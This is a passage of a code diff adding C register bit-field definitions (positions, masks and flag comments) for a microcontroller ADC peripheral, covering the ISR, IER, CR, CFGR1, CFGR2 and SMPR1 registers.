0x00000400 */ +#define ADC_ISR_JQOVF ADC_ISR_JQOVF_Msk /*!< ADC Injected Context Queue Overflow flag */ +#define ADC_ISR_EOCAL_Pos (11UL) +#define ADC_ISR_EOCAL_Msk (0x1UL << ADC_ISR_EOCAL_Pos) /*!< 0x00000800 */ +#define ADC_ISR_EOCAL ADC_ISR_EOCAL_Msk /*!< ADC End of Calibration flag */ +#define ADC_ISR_LDORDY_Pos (12UL) +#define ADC_ISR_LDORDY_Msk (0x1UL << ADC_ISR_LDORDY_Pos) /*!< 0x00001000 */ +#define ADC_ISR_LDORDY ADC_ISR_LDORDY_Msk /*!< ADC Voltage Regulator Ready flag */ + +/******************** Bit definition for ADC_IER register ********************/ +#define ADC_IER_ADRDYIE_Pos (0UL) +#define ADC_IER_ADRDYIE_Msk (0x1UL << ADC_IER_ADRDYIE_Pos) /*!< 0x00000001 */ +#define ADC_IER_ADRDYIE ADC_IER_ADRDYIE_Msk /*!< ADC Ready (ADRDY) interrupt source */ +#define ADC_IER_EOSMPIE_Pos (1UL) +#define ADC_IER_EOSMPIE_Msk (0x1UL << ADC_IER_EOSMPIE_Pos) /*!< 0x00000002 */ +#define ADC_IER_EOSMPIE ADC_IER_EOSMPIE_Msk /*!< ADC End of Sampling interrupt source */ +#define ADC_IER_EOCIE_Pos (2UL) +#define ADC_IER_EOCIE_Msk (0x1UL << ADC_IER_EOCIE_Pos) /*!< 0x00000004 */ +#define ADC_IER_EOCIE ADC_IER_EOCIE_Msk /*!< ADC End of Regular Conversion interrupt source */ +#define ADC_IER_EOSIE_Pos (3UL) +#define ADC_IER_EOSIE_Msk (0x1UL << ADC_IER_EOSIE_Pos) /*!< 0x00000008 */ +#define ADC_IER_EOSIE ADC_IER_EOSIE_Msk /*!< ADC End of Regular sequence of Conversions interrupt source */ +#define ADC_IER_OVRIE_Pos (4UL) +#define ADC_IER_OVRIE_Msk (0x1UL << ADC_IER_OVRIE_Pos) /*!< 0x00000010 */ +#define ADC_IER_OVRIE ADC_IER_OVRIE_Msk /*!< ADC overrun interrupt source */ +#define ADC_IER_JEOCIE_Pos (5UL) +#define ADC_IER_JEOCIE_Msk (0x1UL << ADC_IER_JEOCIE_Pos) /*!< 0x00000020 */ +#define ADC_IER_JEOCIE ADC_IER_JEOCIE_Msk /*!< ADC End of Injected Conversion interrupt source */ +#define ADC_IER_JEOSIE_Pos (6UL) +#define ADC_IER_JEOSIE_Msk (0x1UL << ADC_IER_JEOSIE_Pos) /*!< 0x00000040 */ +#define ADC_IER_JEOSIE ADC_IER_JEOSIE_Msk /*!< ADC End of Injected sequence of Conversions interrupt source */ +#define ADC_IER_AWD1IE_Pos (7UL) +#define ADC_IER_AWD1IE_Msk (0x1UL << ADC_IER_AWD1IE_Pos) /*!< 0x00000080 */ +#define ADC_IER_AWD1IE ADC_IER_AWD1IE_Msk /*!< ADC Analog watchdog 1 interrupt source */ +#define ADC_IER_AWD2IE_Pos (8UL) +#define ADC_IER_AWD2IE_Msk (0x1UL << ADC_IER_AWD2IE_Pos) /*!< 0x00000100 */ +#define ADC_IER_AWD2IE ADC_IER_AWD2IE_Msk /*!< ADC Analog watchdog 2 interrupt source */ +#define ADC_IER_AWD3IE_Pos (9UL) +#define ADC_IER_AWD3IE_Msk (0x1UL << ADC_IER_AWD3IE_Pos) /*!< 0x00000200 */ +#define ADC_IER_AWD3IE ADC_IER_AWD3IE_Msk /*!< ADC Analog watchdog 3 interrupt source */ +#define ADC_IER_JQOVFIE_Pos (10UL) +#define ADC_IER_JQOVFIE_Msk (0x1UL << ADC_IER_JQOVFIE_Pos) /*!< 0x00000400 */ +#define ADC_IER_JQOVFIE ADC_IER_JQOVFIE_Msk /*!< ADC Injected Context Queue Overflow interrupt source */ +#define ADC_IER_EOCALIE_Pos (11UL) +#define ADC_IER_EOCALIE_Msk (0x1UL << ADC_IER_EOCALIE_Pos) /*!< 0x00000800 */ +#define ADC_IER_EOCALIE ADC_IER_EOCALIE_Msk /*!< ADC End of Calibration Enable */ +#define ADC_IER_LDORDYIE_Pos (12UL) +#define ADC_IER_LDORDYIE_Msk (0x1UL << ADC_IER_LDORDYIE_Pos) /*!< 0x00001000 */ +#define ADC_IER_LDORDYIE ADC_IER_LDORDYIE_Msk /*!< ADC Voltage Regulator Ready flag */ + +/******************** Bit definition for ADC_CR register ********************/ +#define ADC_CR_ADEN_Pos (0UL) +#define ADC_CR_ADEN_Msk (0x1UL << ADC_CR_ADEN_Pos) /*!< 0x00000001 */ +#define ADC_CR_ADEN ADC_CR_ADEN_Msk /*!< ADC Enable control */ +#define ADC_CR_ADDIS_Pos (1UL) +#define ADC_CR_ADDIS_Msk (0x1UL << ADC_CR_ADDIS_Pos) /*!< 0x00000002 */ +#define ADC_CR_ADDIS ADC_CR_ADDIS_Msk /*!< ADC Disable command */ +#define ADC_CR_ADSTART_Pos (2UL) +#define ADC_CR_ADSTART_Msk (0x1UL << ADC_CR_ADSTART_Pos) /*!< 0x00000004 */ +#define ADC_CR_ADSTART ADC_CR_ADSTART_Msk /*!< ADC Start of Regular conversion */ +#define ADC_CR_JADSTART_Pos (3UL) +#define ADC_CR_JADSTART_Msk (0x1UL << ADC_CR_JADSTART_Pos) /*!< 0x00000008 */ +#define ADC_CR_JADSTART ADC_CR_JADSTART_Msk /*!< ADC Start of injected conversion */ +#define ADC_CR_ADSTP_Pos (4UL) +#define ADC_CR_ADSTP_Msk (0x1UL << ADC_CR_ADSTP_Pos) /*!< 0x00000010 */ +#define ADC_CR_ADSTP ADC_CR_ADSTP_Msk /*!< ADC Stop of Regular conversion */ +#define ADC_CR_JADSTP_Pos (5UL) +#define ADC_CR_JADSTP_Msk (0x1UL << ADC_CR_JADSTP_Pos) /*!< 0x00000020 */ +#define ADC_CR_JADSTP ADC_CR_JADSTP_Msk /*!< ADC Stop of injected conversion */ +#define ADC_CR_ADCALLIN_Pos (16UL) +#define ADC_CR_ADCALLIN_Msk (0x1UL << ADC_CR_ADCALLIN_Pos) /*!< 0x00010000 */ +#define ADC_CR_ADCALLIN ADC_CR_ADCALLIN_Msk /*!< ADC Linearity calibration */ + +#define ADC_CR_CALINDEX_Pos (24UL) +#define ADC_CR_CALINDEX_Msk (0xFUL << ADC_CR_CALINDEX_Pos) /*!< 0x0F000000 */ +#define ADC_CR_CALINDEX ADC_CR_CALINDEX_Msk /*!< ADC calibration factor selection */ +#define ADC_CR_CALINDEX0_Pos (24UL) +#define ADC_CR_CALINDEX0_Msk (0x1UL << ADC_CR_CALINDEX0_Pos) /*!< 0x01000000 */ +#define ADC_CR_CALINDEX0 ADC_CR_CALINDEX0_Msk /*!< ADC calibration factor selection (bit 0) */ +#define ADC_CR_CALINDEX1_Pos (25UL) +#define ADC_CR_CALINDEX1_Msk (0x1UL << ADC_CR_CALINDEX1_Pos) /*!< 0x02000000 */ +#define ADC_CR_CALINDEX1 ADC_CR_CALINDEX1_Msk /*!< ADC calibration factor selection (bit 1) */ +#define ADC_CR_CALINDEX2_Pos (26UL) +#define ADC_CR_CALINDEX2_Msk (0x1UL << ADC_CR_CALINDEX2_Pos) /*!< 0x04000000 */ +#define ADC_CR_CALINDEX2 ADC_CR_CALINDEX2_Msk /*!< ADC calibration factor selection (bit 2) */ +#define ADC_CR_CALINDEX3_Pos (27UL) +#define ADC_CR_CALINDEX3_Msk (0x1UL << ADC_CR_CALINDEX3_Pos) /*!< 0x08000000 */ +#define ADC_CR_CALINDEX3 ADC_CR_CALINDEX3_Msk /*!< ADC calibration factor selection (bit 3) */ +#define ADC_CR_ADVREGEN_Pos (28UL) +#define ADC_CR_ADVREGEN_Msk (0x1UL << ADC_CR_ADVREGEN_Pos) /*!< 0x10000000 */ +#define ADC_CR_ADVREGEN ADC_CR_ADVREGEN_Msk /*!< ADC Voltage regulator Enable */ +#define ADC_CR_DEEPPWD_Pos (29UL) +#define ADC_CR_DEEPPWD_Msk (0x1UL << ADC_CR_DEEPPWD_Pos) /*!< 0x20000000 */ +#define ADC_CR_DEEPPWD ADC_CR_DEEPPWD_Msk /*!< ADC Deep power down Enable */ +#define ADC_CR_ADCAL_Pos (31UL) +#define ADC_CR_ADCAL_Msk (0x1UL << ADC_CR_ADCAL_Pos) /*!< 0x80000000 */ +#define ADC_CR_ADCAL ADC_CR_ADCAL_Msk /*!< ADC Calibration */ + +/******************** Bit definition for ADC_CFGR register ********************/ +#define ADC_CFGR1_DMNGT_Pos (0UL) +#define ADC_CFGR1_DMNGT_Msk (0x3UL << ADC_CFGR1_DMNGT_Pos) /*!< 0x00000003 */ +#define ADC_CFGR1_DMNGT ADC_CFGR1_DMNGT_Msk /*!< ADC Data Management configuration */ +#define ADC_CFGR1_DMNGT_0 (0x1UL << ADC_CFGR1_DMNGT_Pos) /*!< 0x00000001 */ +#define ADC_CFGR1_DMNGT_1 (0x2UL << ADC_CFGR1_DMNGT_Pos) /*!< 0x00000002 */ + +#define ADC_CFGR1_RES_Pos (2UL) +#define ADC_CFGR1_RES_Msk (0x3UL << ADC_CFGR1_RES_Pos) /*!< 0x0000000C */ +#define ADC_CFGR1_RES ADC_CFGR1_RES_Msk /*!< ADC Data resolution */ +#define ADC_CFGR1_RES_0 (0x1UL << ADC_CFGR1_RES_Pos) /*!< 0x00000004 */ +#define ADC_CFGR1_RES_1 (0x2UL << ADC_CFGR1_RES_Pos) /*!< 0x00000008 */ + +#define ADC4_CFGR1_DMAEN_Pos (0UL) +#define ADC4_CFGR1_DMAEN_Msk (0x1UL << ADC4_CFGR1_DMAEN_Pos) /*!< 0x00000001 */ +#define ADC4_CFGR1_DMAEN ADC4_CFGR1_DMAEN_Msk /*!< ADC DMA transfer enable */ +#define ADC4_CFGR1_DMACFG_Pos (1UL) +#define ADC4_CFGR1_DMACFG_Msk (0x1UL << ADC4_CFGR1_DMACFG_Pos) /*!< 0x00000002 */ +#define ADC4_CFGR1_DMACFG ADC4_CFGR1_DMACFG_Msk /*!< ADC DMA transfer configuration */ + +#define ADC4_CFGR1_SCANDIR_Pos (4UL) +#define ADC4_CFGR1_SCANDIR_Msk (0x1UL << ADC4_CFGR1_SCANDIR_Pos) /*!< 0x00000004 */ +#define ADC4_CFGR1_SCANDIR ADC4_CFGR1_SCANDIR_Msk /*!< ADC group regular sequencer scan direction */ + +#define ADC4_CFGR1_ALIGN_Pos (5UL) +#define ADC4_CFGR1_ALIGN_Msk (0x1UL << ADC4_CFGR1_ALIGN_Pos) /*!< 0x00000020 */ +#define ADC4_CFGR1_ALIGN ADC4_CFGR1_ALIGN_Msk /*!< ADC data alignment */ + +#define ADC_CFGR1_EXTSEL_Pos (5UL) +#define ADC_CFGR1_EXTSEL_Msk (0x1FUL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x000003E0 */ +#define ADC_CFGR1_EXTSEL ADC_CFGR1_EXTSEL_Msk /*!< ADC External trigger selection for regular group */ +#define ADC_CFGR1_EXTSEL_0 (0x01UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000020 */ +#define ADC_CFGR1_EXTSEL_1 (0x02UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000040 */ +#define ADC_CFGR1_EXTSEL_2 (0x04UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000080 */ +#define ADC_CFGR1_EXTSEL_3 (0x08UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000100 */ +#define ADC_CFGR1_EXTSEL_4 (0x10UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000200 */ + +#define ADC_CFGR1_EXTEN_Pos (10UL) +#define ADC_CFGR1_EXTEN_Msk (0x3UL << ADC_CFGR1_EXTEN_Pos) /*!< 0x00000C00 */ +#define ADC_CFGR1_EXTEN ADC_CFGR1_EXTEN_Msk /*!< ADC External trigger enable and polarity selection for regular channels */ +#define ADC_CFGR1_EXTEN_0 (0x1UL << ADC_CFGR1_EXTEN_Pos) /*!< 0x00000400 */ +#define ADC_CFGR1_EXTEN_1 (0x2UL << ADC_CFGR1_EXTEN_Pos) /*!< 0x00000800 */ + +#define ADC_CFGR1_OVRMOD_Pos (12UL) +#define ADC_CFGR1_OVRMOD_Msk (0x1UL << ADC_CFGR1_OVRMOD_Pos) /*!< 0x00001000 */ +#define ADC_CFGR1_OVRMOD ADC_CFGR1_OVRMOD_Msk /*!< ADC overrun mode */ +#define ADC_CFGR1_CONT_Pos (13UL) +#define ADC_CFGR1_CONT_Msk (0x1UL << ADC_CFGR1_CONT_Pos) /*!< 0x00002000 */ +#define ADC_CFGR1_CONT ADC_CFGR1_CONT_Msk /*!< ADC Single/continuous conversion mode for regular conversion */ + +#define ADC_CFGR1_AUTDLY_Pos (14UL) +#define ADC_CFGR1_AUTDLY_Msk (0x1UL << ADC_CFGR1_AUTDLY_Pos) /*!< 0x00004000 */ +#define ADC_CFGR1_AUTDLY ADC_CFGR1_AUTDLY_Msk /*!< ADC Delayed conversion mode */ + +#define ADC4_CFGR1_WAIT_Pos (14UL) +#define ADC4_CFGR1_WAIT_Msk (0x1UL << ADC4_CFGR1_WAIT_Pos) /*!< 0x00004000 */ +#define ADC4_CFGR1_WAIT ADC4_CFGR1_WAIT_Msk /*!< ADC Delayed conversion mode */ + +#define ADC_CFGR1_DISCEN_Pos (16UL) +#define ADC_CFGR1_DISCEN_Msk (0x1UL << ADC_CFGR1_DISCEN_Pos) /*!< 0x00010000 */ +#define ADC_CFGR1_DISCEN ADC_CFGR1_DISCEN_Msk /*!< ADC Discontinuous mode for regular channels */ + +#define ADC_CFGR1_DISCNUM_Pos (17UL) +#define ADC_CFGR1_DISCNUM_Msk (0x7UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x000E0000 */ +#define ADC_CFGR1_DISCNUM ADC_CFGR1_DISCNUM_Msk /*!< ADC Discontinuous mode channel count */ +#define ADC_CFGR1_DISCNUM_0 (0x1UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x00020000 */ +#define ADC_CFGR1_DISCNUM_1 (0x2UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x00040000 */ +#define ADC_CFGR1_DISCNUM_2 (0x4UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x00080000 */ + +#define ADC_CFGR1_JDISCEN_Pos (20UL) +#define ADC_CFGR1_JDISCEN_Msk (0x1UL << ADC_CFGR1_JDISCEN_Pos) /*!< 0x00100000 */ +#define ADC_CFGR1_JDISCEN ADC_CFGR1_JDISCEN_Msk /*!< ADC Discontinuous mode on injected channels */ + +#define ADC_CFGR1_AWD1SGL_Pos (22UL) +#define ADC_CFGR1_AWD1SGL_Msk (0x1UL << ADC_CFGR1_AWD1SGL_Pos) /*!< 0x00400000 */ +#define ADC_CFGR1_AWD1SGL ADC_CFGR1_AWD1SGL_Msk /*!< Enable the watchdog 1 on a single channel or on all channels */ +#define ADC_CFGR1_AWD1EN_Pos (23UL) +#define ADC_CFGR1_AWD1EN_Msk (0x1UL << ADC_CFGR1_AWD1EN_Pos) /*!< 0x00800000 */ +#define ADC_CFGR1_AWD1EN ADC_CFGR1_AWD1EN_Msk /*!< ADC Analog watchdog 1 enable on regular Channels */ +#define ADC_CFGR1_JAWD1EN_Pos (24UL) +#define ADC_CFGR1_JAWD1EN_Msk (0x1UL << ADC_CFGR1_JAWD1EN_Pos) /*!< 0x01000000 */ +#define ADC_CFGR1_JAWD1EN ADC_CFGR1_JAWD1EN_Msk /*!< ADC Analog watchdog 1 enable on injected Channels */ +#define ADC_CFGR1_JAUTO_Pos (25UL) +#define ADC_CFGR1_JAUTO_Msk (0x1UL << ADC_CFGR1_JAUTO_Pos) /*!< 0x02000000 */ +#define ADC_CFGR1_JAUTO ADC_CFGR1_JAUTO_Msk /*!< ADC Automatic injected group conversion */ + +/* Specific ADC4 */ +#define ADC4_CFGR1_EXTSEL_Pos (6UL) +#define ADC4_CFGR1_EXTSEL_Msk (0x7UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x000003E0 */ +#define ADC4_CFGR1_EXTSEL ADC4_CFGR1_EXTSEL_Msk /*!< ADC External trigger selection for regular group */ +#define ADC4_CFGR1_EXTSEL_0 (0x01UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x00000020 */ +#define ADC4_CFGR1_EXTSEL_1 (0x02UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x00000040 */ +#define ADC4_CFGR1_EXTSEL_2 (0x04UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x00000080 */ + +#define ADC4_CFGR1_CHSELRMOD_Pos (21UL) +#define ADC4_CFGR1_CHSELRMOD_Msk (0x1UL << ADC4_CFGR1_CHSELRMOD_Pos) /*!< 0x00200000 */ +#define ADC4_CFGR1_CHSELRMOD ADC4_CFGR1_CHSELRMOD_Msk /*!< ADC JSQR Queue mode */ + +#define ADC_CFGR1_AWD1CH_Pos (26UL) +#define ADC_CFGR1_AWD1CH_Msk (0x1FUL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x7C000000 */ +#define ADC_CFGR1_AWD1CH ADC_CFGR1_AWD1CH_Msk /*!< ADC Analog watchdog 1 Channel selection */ +#define ADC_CFGR1_AWD1CH_0 (0x01UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x04000000 */ +#define ADC_CFGR1_AWD1CH_1 (0x02UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x08000000 */ +#define ADC_CFGR1_AWD1CH_2 (0x04UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x10000000 */ +#define ADC_CFGR1_AWD1CH_3 (0x08UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x20000000 */ +#define ADC_CFGR1_AWD1CH_4 (0x10UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_CFGR2 register ********************/ +#define ADC_CFGR2_ROVSE_Pos (0UL) +#define ADC_CFGR2_ROVSE_Msk (0x1UL << ADC_CFGR2_ROVSE_Pos) /*!< 0x00000001 */ +#define ADC_CFGR2_ROVSE ADC_CFGR2_ROVSE_Msk /*!< ADC Regular group oversampler enable */ +#define ADC_CFGR2_JOVSE_Pos (1UL) +#define ADC_CFGR2_JOVSE_Msk (0x1UL << ADC_CFGR2_JOVSE_Pos) /*!< 0x00000002 */ +#define ADC_CFGR2_JOVSE ADC_CFGR2_JOVSE_Msk /*!< ADC Injected group oversampler enable */ + +#define ADC_CFGR2_OVSS_Pos (5UL) +#define ADC_CFGR2_OVSS_Msk (0xFUL << ADC_CFGR2_OVSS_Pos) /*!< 0x000001E0 */ +#define ADC_CFGR2_OVSS ADC_CFGR2_OVSS_Msk /*!< ADC Regular Oversampling shift */ +#define ADC_CFGR2_OVSS_0 (0x1UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000020 */ +#define ADC_CFGR2_OVSS_1 (0x2UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000040 */ +#define ADC_CFGR2_OVSS_2 (0x4UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000080 */ +#define ADC_CFGR2_OVSS_3 (0x8UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000100 */ + +#define ADC_CFGR2_TROVS_Pos (9UL) +#define ADC_CFGR2_TROVS_Msk (0x1UL << ADC_CFGR2_TROVS_Pos) /*!< 0x00000200 */ +#define ADC_CFGR2_TROVS ADC_CFGR2_TROVS_Msk /*!< ADC Triggered regular Oversampling */ +#define ADC_CFGR2_ROVSM_Pos (10UL) +#define ADC_CFGR2_ROVSM_Msk (0x1UL << ADC_CFGR2_ROVSM_Pos) /*!< 0x00000400 */ +#define ADC_CFGR2_ROVSM ADC_CFGR2_ROVSM_Msk /*!< ADC Regular oversampling mode */ + +#define ADC_CFGR2_OVSR_Pos (16UL) +#define ADC_CFGR2_OVSR_Msk (0x3FFUL << ADC_CFGR2_OVSR_Pos) /*!< 0x03FF0000 */ +#define ADC_CFGR2_OVSR ADC_CFGR2_OVSR_Msk /*!< ADC oversampling Ratio */ +#define ADC_CFGR2_OVSR_0 (0x001UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00010000 */ +#define ADC_CFGR2_OVSR_1 (0x002UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00020000 */ +#define ADC_CFGR2_OVSR_2 (0x004UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00040000 */ +#define ADC_CFGR2_OVSR_3 (0x008UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00080000 */ +#define ADC_CFGR2_OVSR_4 (0x010UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00100000 */ +#define ADC_CFGR2_OVSR_5 (0x020UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00200000 */ +#define ADC_CFGR2_OVSR_6 (0x040UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00400000 */ +#define ADC_CFGR2_OVSR_7 (0x080UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00800000 */ +#define ADC_CFGR2_OVSR_8 (0x100UL << ADC_CFGR2_OVSR_Pos) /*!< 0x01000000 */ +#define ADC_CFGR2_OVSR_9 (0x200UL << ADC_CFGR2_OVSR_Pos) /*!< 0x02000000 */ + +#define ADC_CFGR2_BULB_Pos (13UL) +#define ADC_CFGR2_BULB_Msk (0x1UL << ADC_CFGR2_BULB_Pos) /*!< 0x00002000 */ +#define ADC_CFGR2_BULB ADC_CFGR2_BULB_Msk /*!< ADC Bulb sampling mode */ + +#define ADC_CFGR2_SWTRIG_Pos (14UL) +#define ADC_CFGR2_SWTRIG_Msk (0x1UL << ADC_CFGR2_SWTRIG_Pos) /*!< 0x00004000 */ +#define ADC_CFGR2_SWTRIG ADC_CFGR2_SWTRIG_Msk /*!< ADC Software trigger bit for sampling time control trigger mode */ + +#define ADC_CFGR2_SMPTRIG_Pos (15UL) +#define ADC_CFGR2_SMPTRIG_Msk (0x1UL << ADC_CFGR2_SMPTRIG_Pos) /*!< 0x00008000 */ +#define ADC_CFGR2_SMPTRIG ADC_CFGR2_SMPTRIG_Msk /*!< ADC Sampling time control trigger mode */ + +#define ADC_CFGR2_LFTRIG_Pos (27UL) +#define ADC_CFGR2_LFTRIG_Msk (0x1UL << ADC_CFGR2_LFTRIG_Pos) /*!< 0x08000000 */ +#define ADC_CFGR2_LFTRIG ADC_CFGR2_LFTRIG_Msk /*!< ADC low frequency trigger mode */ + +#define ADC_CFGR2_LSHIFT_Pos (28UL) +#define ADC_CFGR2_LSHIFT_Msk (0xFUL << ADC_CFGR2_LSHIFT_Pos) /*!< 0xF0000000 */ +#define ADC_CFGR2_LSHIFT ADC_CFGR2_LSHIFT_Msk /*!< ADC Left shift factor */ +#define ADC_CFGR2_LSHIFT_0 (0x1UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x10000000 */ +#define ADC_CFGR2_LSHIFT_1 (0x2UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x20000000 */ +#define ADC_CFGR2_LSHIFT_2 (0x4UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x40000000 */ +#define ADC_CFGR2_LSHIFT_3 (0x8UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x80000000 */ + +/* Specific ADC4 */ +#define ADC4_CFGR2_OVSR_Pos (2UL) +#define ADC4_CFGR2_OVSR_Msk (0x7UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x0000001C */ +#define ADC4_CFGR2_OVSR ADC4_CFGR2_OVSR_Msk /*!< ADC oversampling ratio */ +#define ADC4_CFGR2_OVSR_0 (0x1UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x00000004 */ +#define ADC4_CFGR2_OVSR_1 (0x2UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x00000008 */ +#define ADC4_CFGR2_OVSR_2 (0x4UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x00000010 */ + +#define ADC4_CFGR2_LFTRIG_Pos (29UL) +#define ADC4_CFGR2_LFTRIG_Msk (0x1UL << ADC4_CFGR2_LFTRIG_Pos) /*!< 0x20000000 */ +#define ADC4_CFGR2_LFTRIG ADC4_CFGR2_LFTRIG_Msk /*!< ADC4 low frequency trigger mode */ + +/******************** Bit definition for ADC_SMPR1 register ********************/ +#define ADC_SMPR1_SMP0_Pos (0UL) +#define ADC_SMPR1_SMP0_Msk (0x7UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000007 */ +#define ADC_SMPR1_SMP0 ADC_SMPR1_SMP0_Msk /*!< ADC Channel 0 Sampling time selection */ +#define ADC_SMPR1_SMP0_0 (0x1UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000001 */ +#define ADC_SMPR1_SMP0_1 (0x2UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000002 */ +#define ADC_SMPR1_SMP0_2 (0x4UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000004 */ + +#define ADC_SMPR1_SMP1_Pos (3UL) +#define ADC_SMPR1_SMP1_Msk (0x7UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000038 */ +#define ADC_SMPR1_SMP1 ADC_SMPR1_SMP1_Msk /*!< ADC Channel 1 Sampling time selection */ +#define ADC_SMPR1_SMP1_0 (0x1UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000008 */ +#define ADC_SMPR1_SMP1_1 (0x2UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000010 */ +#define ADC_SMPR1_SMP1_2 (0x4UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000020 */ + +#define ADC_SMPR1_SMP2_Pos (6UL) +#define ADC_SMPR1_SMP2_Msk (0x7UL << ADC_SMPR1_SMP2_Pos) /*!< 0x000001C0 */ +#define ADC_SMPR1_SMP2 ADC_SMPR1_SMP2_Msk /*!< ADC Channel 2 Sampling time selection */ +#define ADC_SMPR1_SMP2_0 (0x1UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000040 */ +#define ADC_SMPR1_SMP2_1 (0x2UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000080 */ +#define ADC_SMPR1_SMP2_2 (0x4UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000100 */ + +#define ADC_SMPR1_SMP3_Pos (9UL) +#define ADC_SMPR1_SMP3_Msk (0x7UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000E00 */ +#define ADC_SMPR1_SMP3 ADC_SMPR1_SMP3_Msk /*!< ADC Channel 3 Sampling time selection */ +#define ADC_SMPR1_SMP3_0 (0x1UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000200 */ +#define ADC_SMPR1_SMP3_1 (0x2UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000400 */ +#define ADC_SMPR1_SMP3_2 (0x4UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000800 */ + +#define ADC_SMPR1_SMP4_Pos (12UL) +#define ADC_SMPR1_SMP4_Msk (0x7UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00007000 */ +#define ADC_SMPR1_SMP4 ADC_SMPR1_SMP4_Msk /*!< ADC Channel 4 Sampling time selection */ +#define ADC_SMPR1_SMP4_0 (0x1UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00001000 */ +#define ADC_SMPR1_SMP4_1 (0x2UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00002000 */ +#define ADC_SMPR1_SMP4_2 (0x4UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00004000 */ + +#define ADC_SMPR1_SMP5_Pos (15UL) +#define ADC_SMPR1_SMP5_Msk (0x7UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00038000 */ +#define ADC_SMPR1_SMP5 ADC_SMPR1_SMP5_Msk /*!< ADC Channel 5 Sampling time selection */ +#define ADC_SMPR1_SMP5_0 (0x1UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00008000 */ +#define ADC_SMPR1_SMP5_1 (0x2UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00010000 */ +#define ADC_SMPR1_SMP5_2 (0x4UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00020000 */ + +#define ADC_SMPR1_SMP6_Pos (18UL) +#define ADC_SMPR1_SMP6_Msk (0x7UL << ADC_SMPR1_SMP6_Pos) /*!< 0x001C0000 */ +#define ADC_SMPR1_SMP6 ADC_SMPR1_SMP6_Msk /*!< ADC Channel 6 Sampling time selection */ +#define ADC_SMPR1_SMP6_0 (0x1UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00040000 */ +#define ADC_SMPR1_SMP6_1 (0x2UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00080000 */ +#define ADC_SMPR1_SMP6_2 (0x4UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00100000 */ + +#define ADC_SMPR1_SMP7_Pos (21UL) +#define ADC_SMPR1_SMP7_Msk (0x7UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00E00000 */ +#define ADC_SMPR1_SMP7 ADC_SMPR1_SMP7_Msk /*!< ADC Channel 7 Sampling time selection */ +#define ADC_SMPR1_SMP7_0 (0x1UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00200000 */ +#define ADC_SMPR1_SMP7_1 (0x2UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00400000 */ +#define ADC_SMPR1_SMP7_2 (0x4UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00800000 */ + +#define ADC_SMPR1_SMP8_Pos (24UL) +#define ADC_SMPR1_SMP8_Msk (0x7UL << ADC_SMPR1_SMP8_Pos) /*!< 0x07000000 */ +#define ADC_SMPR1_SMP8 ADC_SMPR1_SMP8_Msk /*!< ADC Channel 8 Sampling time selection */ +#define ADC_SMPR1_SMP8_0 (0x1UL << ADC_SMPR1_SMP8_Pos) /*!< 0x01000000 */ +#define ADC_SMPR1_SMP8_1 (0x2UL << 